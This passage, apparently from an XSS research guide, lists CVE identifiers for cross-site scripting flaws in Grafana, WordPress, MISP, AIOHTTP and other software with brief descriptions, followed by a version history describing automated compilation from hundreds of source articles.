| CVE-2025-6023 | Grafana | Full account takeover | Incomplete fix leads to XSS |
| CVE-2025-6197 | Grafana | XSS vulnerability | Related to CVE-2025-6023 |
| CVE-2025-4123 | Grafana | XSS vulnerability | Account takeover chain |
| CVE-2026-0594 | WordPress | Reflected XSS | Core WordPress vulnerability |
| CVE-2026-33510 | Homarr | DOM-based XSS | Home dashboard application |
| CVE-2025-67906 | MISP | Stored XSS | Workflow engine exploitation |
| CVE-2026-34519 | AIOHTTP | XSS vulnerability | Python async HTTP library |
| CVE-2026-32629 | phpMyFAQ | XSS vulnerability | FAQ management system |
| CVE-2025-53892 | vue-i18n | XSS vulnerability | Vue.js internationalization |
Version History
- v1.0 (2026-04-10) β Initial guide compiled from 294 articles in
~/Documents/obsidian/chs/raw/XSS/ - v1.1 (2026-05-02) β Major content enhancement via automated analysis pipeline. Added 23 new CVEs (CVE-2026-42520/23/24, CVE-2025-48700/66376, CVE-2025-26244, CVE-2025-66412, CVE-2025-6023/6197/4123, etc.), Zimbra mass exploitation campaign analysis, Grafana account takeover chain, modern Angular SVG XSS patterns, comprehensive real-world attack chains. Enhanced with 461 unique insights extracted from 342 analyzed articles using deduplication-enabled content analysis pipeline. Total source articles: 636.
Content systematically enhanced via automated analysis of curated XSS research articles with intelligent deduplication to prevent redundant additions.